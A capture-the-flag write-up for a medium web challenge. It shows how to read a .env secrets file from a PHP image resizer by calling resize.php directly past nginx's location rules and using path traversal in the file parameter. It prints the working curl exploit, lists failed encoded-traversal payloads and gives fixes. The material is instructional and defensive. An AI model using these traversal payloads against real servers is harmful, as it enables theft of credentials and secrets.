Шакализатор картинок (Image Shakalizer)
Шакализатор картинок (Image Shakalizer)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: direct_php_file_access_bypassing_nginx_location_rules, image_processing_fallback_to_raw_file_read, path_traversal_via_unsanitized_file_parameter
Summary
Walkthrough of the CUSTOM Web Шакализатор картинок (Image Shakalizer). Task: PHP image resizer behind nginx with strict URL filtering but unprotected direct PHP file access. Solution: bypass all nginx protections by accessing resize.php directly, use path traversal in fi
Description
Для новой фотосессии Пикси был создан сайт. Однако оригинальные фото оказались слишком большого размера, и чтобы их отресайзить для веба, на бекенде был добавлен шакализатор картинок.
English summary: A website was created for Pixie's new photoshoot. The original photos were too large, so an image "shakalizer" (quality degrader/resizer) was added on the backend. Full source code provided. Flag is in .env file above the webroot.
Analysis
Application Architecture
The application runs on nginx 1.20.2 + PHP 7.4.33 (PHP-FPM) with the GD library for image processing. Key files:
index.php— gallery page showing images fromupload/directoryrouter.php— URL router that parses/resize/WxH/pathpatternsresize.php— image resizer that takesw,h,fileparametersnginx.conf— elaborate security configuration.env— flag file, one directory above webroot
nginx Security Configuration
The nginx config has three layers of protection for the /resize/ URL path:
nginx read-only • copy allowed# Layer 1: Block encoded path traversal characters if ($request_uri ~* "^/resize/.*(?:%2e|%2f|%5c|%00|%25)") { return 400; } # Layer 2: Strict regex — only allow resize of files in upload/ with image extensions location ~* "^/resize/[0-9]{1,4}x[0-9]{1,4}/upload/[A-Za-z0-9._-]+\\.(png|jpe?g|gif)$" { try_files $uri @resize_php; } # Layer 3: Catch-all — block everything else under /resize/ location ~* ^/resize/ { return 400; }
These rules effectively prevent any path traversal through the /resize/ URL path. However, there's a critical oversight:
nginx read-only • copy allowed# Generic PHP handler — NO restrictions whatsoever location ~ \.php$ { include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_pass 127.0.0.1:9000; }
The location ~ \.php$ block passes any .php file directly to PHP-FPM with zero filtering.
resize.php Vulnerability
The resize script has two critical flaws:
1. No path sanitization on the file parameter:
php read-only • copy allowed$relativePath = (string) ($_GET['file'] ?? ''); $sourcePath = __DIR__ . '/' . $relativePath; // Direct concatenation!
When accessed via the router (through nginx's protected /resize/ path), the file parameter is constrained. But when accessed directly as /resize.php, there are no constraints at all.
2. Fallback that outputs raw file content:
php read-only • copy allowed// Try to process as image if (renderResizedPng($sourcePath, $width, $height)) { exit; } // FALLBACK: output raw file content when image processing fails! header('Content-Type: image/png'); readfile($sourcePath);
When imagecreatefromstring() fails (because .env is not an image), the function returns false, and the fallback readfile() dumps the raw file content.
Exploit Chain
buildCachePath()validates strictly — returnsnullfor paths not matchingupload/*.{png,jpg,gif}- Since
cachePathis null, both cache blocks are skipped renderResizedPng()reads.env,imagecreatefromstring()fails → returnsfalse- Fallback:
readfile($sourcePath)outputs raw.envcontent
Solution
Single HTTP request bypassing all nginx protections:
bash read-only • copy allowedcurl "https://pixie-shakal.t1.bug-makers.ru/resize.php?w=100&h=100&file=../.env"
Response:
FLAG=BugCTF{REDACTED}
Why This Works
| Step | What happens |
|---|---|
Request: GET /resize.php?w=100&h=100&file=../.env | Hits location ~ \.php$ — no filtering |
PHP receives file=../.env | Constructs $sourcePath = __DIR__ . '/../.env' |
is_file() + is_readable() | Pass — file exists |
buildCachePath('../.env', 100, 100) | Returns null — doesn't match upload/ pattern |
| Cache blocks | Skipped (cachePath is null) |
renderResizedPng() | imagecreatefromstring() fails on text → returns false |
Fallback readfile() | Outputs raw .env content |
| |
What Didn't Work (Rabbit Holes)
../in URL path (/resize/100x100/../../../.env) — nginx normalizes../before location matching, so the strict regex still blocks it- Encoded traversal (
%2e%2e/%2e%65%6e%76) — blocked by nginx'siffilter matching%2e,%2f - Double encoding (
%252e%252e) — blocked because%25is in the filter - Overlong UTF-8 (
%c0%ae%c0%ae) — nginx returns 400 - Newline injection (
%0a) — doesn't help with location matching
The actual solution was much simpler: completely sidestep nginx's URL-based protections by accessing the PHP file directly.
Fix
- Deny direct access to resize.php in nginx:
nginx read-only • copy allowed
location = /resize.php { internal; } - Sanitize the file parameter in resize.php:
php read-only • copy allowed
$realSource = realpath($sourcePath); $allowedDir = realpath(__DIR__ . '/upload'); if (strpos($realSource, $allowedDir) !== 0) { exit; } - Remove the dangerous fallback — never
readfile()arbitrary paths when image processing fails
Key Takeaways / Lessons
- Mastering direct_php_file_access_bypassing_nginx_location_rules, image_processing_fallback_to_raw_file_read, path_traversal_via_unsanitized_file_parameter was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-27 • CUSTOM • Шакализатор картинок (Image Shakalizer) • Difficulty: Medium